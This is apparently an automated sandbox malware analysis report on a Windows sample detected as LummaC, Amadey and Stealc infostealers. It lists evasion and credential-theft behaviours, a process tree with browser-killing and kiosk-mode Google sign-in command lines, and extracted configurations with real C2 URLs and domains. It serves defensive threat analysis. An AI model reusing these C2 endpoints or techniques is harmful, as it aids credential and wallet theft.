Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540746
MD5:	85a42afebd3b50990c2588000aa36f8c
SHA1:	f90e8f26bfe7b3a3a523df8bd205b4a461d06f00
SHA256:	a6fb4829251c449d3896cf0ea7f0e513f043f29a5e6e7c7d9e735d030d43682c
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 85A42AFEBD3B50990C2588000AA36F8C)

QZRNZLINJW4FDHW89WOCWU0IJ.exe (PID: 2360 cmdline: "C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe" MD5: 04D82AD1CBB15929E9FF4B3B951227BE)

skotes.exe (PID: 4544 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 04D82AD1CBB15929E9FF4B3B951227BE)

B7KMZCE66VGDP83M16.exe (PID: 4440 cmdline: "C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe" MD5: 14A1F90B21FFB33B230A55A35C92F699)

8Z5C764IBSHZ8A5U9SVRCREF.exe (PID: 776 cmdline: "C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe" MD5: 4B01B088DC9716204A408AD75CCEF360)

skotes.exe (PID: 5764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 04D82AD1CBB15929E9FF4B3B951227BE)

skotes.exe (PID: 4092 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 04D82AD1CBB15929E9FF4B3B951227BE)

3f779c1cca.exe (PID: 6836 cmdline: "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe" MD5: 85A42AFEBD3B50990C2588000AA36F8C)

DBQJ2COS8NEE0DVFAHC8.exe (PID: 5812 cmdline: "C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe" MD5: 04D82AD1CBB15929E9FF4B3B951227BE)

4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe (PID: 1444 cmdline: "C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe" MD5: 14A1F90B21FFB33B230A55A35C92F699)

70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe (PID: 3260 cmdline: "C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe" MD5: 4B01B088DC9716204A408AD75CCEF360)

994a9a760e.exe (PID: 4024 cmdline: "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe" MD5: 14A1F90B21FFB33B230A55A35C92F699)

fb9fc5d370.exe (PID: 1732 cmdline: "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe" MD5: 5ED9138AF4A937507DFDA5A5729F17BE)

taskkill.exe (PID: 2332 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2044 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4908 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5092 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6408 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5964 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 4948 cmdline: "C:\Users\user\AppData\Local\Temp\1001105001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

3f779c1cca.exe (PID: 6828 cmdline: "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe" MD5: 85A42AFEBD3B50990C2588000AA36F8C)

firefox.exe (PID: 1424 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5232 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3868 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c73eb302-b62d-4664-8c1e-f311557443d0} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae78e6ef10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3200 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=912 -parentBuildID 20230927232528 -prefsHandle 2792 -prefMapHandle 3796 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {900b7ccc-f93b-4c39-acf6-c4309c8be80c} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae0b544510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

994a9a760e.exe (PID: 5692 cmdline: "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe" MD5: 14A1F90B21FFB33B230A55A35C92F699)

fb9fc5d370.exe (PID: 2580 cmdline: "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe" MD5: 5ED9138AF4A937507DFDA5A5729F17BE)

taskkill.exe (PID: 3960 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4156 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5756 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2324 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5388 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3744 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7016 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["mobbipenju.store", "clearancek.site", "spirittunek.store", "bathdoomgaz.store", "dissapoiznw.store", "eaglepawnoy.store", "licendfilteo.site", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1001105001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1001105001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2596824041.0000000005350000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2637269874.0000000000B71000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000003.3103917580.000000000109F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000003.3136703502.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3125212572.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2596347151.0000000005270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2963743388.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2564936700.0000000005040000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000000.3094487881.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2637220274.0000000000B71000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2934344694.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2947463685.000000000121C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2926089186.00000000059A6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000003.3268917085.00000000014BF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000B.00000003.2910512234.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.3190167953.0000000000A61000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2728686776.0000000005370000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.2606287990.0000000000B11000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2914064693.00000000059A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1340	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3f779c1cca.exe PID: 6836	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3f779c1cca.exe PID: 6836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3f779c1cca.exe PID: 6836	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 994a9a760e.exe PID: 4024	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 994a9a760e.exe PID: 4024	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3f779c1cca.exe PID: 6828	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3f779c1cca.exe PID: 6828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3f779c1cca.exe PID: 6828	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: fb9fc5d370.exe PID: 1732	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 4948	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 4948	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 994a9a760e.exe PID: 5692	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 994a9a760e.exe PID: 5692	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: fb9fc5d370.exe PID: 2580	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author
31.2.num.exe.fd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.0.num.exe.fd0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.994a9a760e.exe.830000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.994a9a760e.exe.830000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.QZRNZLINJW4FDHW89WOCWU0IJ.exe.b10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.2.DBQJ2COS8NEE0DVFAHC8.exe.a60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4092, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3f779c1cca.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4092, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3f779c1cca.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:11.173669+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T04:57:12.476175+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T04:57:21.725429+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49767	104.21.53.8	443	TCP
2024-10-24T04:58:19.295108+0200	2054653	1	A Network Trojan was detected	192.168.2.6	49999	104.21.53.8	443	TCP
2024-10-24T04:58:20.433853+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T04:58:32.581622+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50011	104.21.53.8	443	TCP
2024-10-24T04:58:34.846855+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50014	104.21.53.8	443	TCP
2024-10-24T04:58:35.927405+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50015	104.21.53.8	443	TCP
2024-10-24T04:58:53.827193+0200	2054653	1	A Network Trojan was detected	192.168.2.6	50044	104.21.53.8	443	TCP
2024-10-24T04:59:07.843928+0200	2054653	1	A Network Trojan was detected	192.168.2.6	59427	104.21.53.8	443	TCP
2024-10-24T04:59:09.503006+0200	2054653	1	A Network Trojan was detected	192.168.2.6	59429	104.21.53.8	443	TCP
2024-10-24T04:59:16.822285+0200	2054653	1	A Network Trojan was detected	192.168.2.6	59439	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:11.173669+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49713	104.21.53.8	443	TCP
2024-10-24T04:58:19.295108+0200	2049836	1	A Network Trojan was detected	192.168.2.6	49999	104.21.53.8	443	TCP
2024-10-24T04:58:34.846855+0200	2049836	1	A Network Trojan was detected	192.168.2.6	50014	104.21.53.8	443	TCP
2024-10-24T04:59:07.843928+0200	2049836	1	A Network Trojan was detected	192.168.2.6	59427	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:12.476175+0200	2049812	1	A Network Trojan was detected	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T04:58:20.433853+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T04:58:35.927405+0200	2049812	1	A Network Trojan was detected	192.168.2.6	50015	104.21.53.8	443	TCP
2024-10-24T04:59:09.503006+0200	2049812	1	A Network Trojan was detected	192.168.2.6	59429	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:58:05.231167+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	49774	185.215.113.16	80	TCP
2024-10-24T04:58:37.087797+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50017	185.215.113.16	80	TCP
2024-10-24T04:58:46.034552+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50013	185.215.113.16	80	TCP
2024-10-24T04:59:06.118181+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	50047	185.215.113.16	80	TCP
2024-10-24T04:59:25.335598+0200	2019714	2	Potentially Bad Traffic	192.168.2.6	59440	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:58:18.560657+0200	2044696	1	A Network Trojan was detected	192.168.2.6	49998	185.215.113.43	80	TCP
2024-10-24T04:58:27.810388+0200	2044696	1	A Network Trojan was detected	192.168.2.6	50007	185.215.113.43	80	TCP
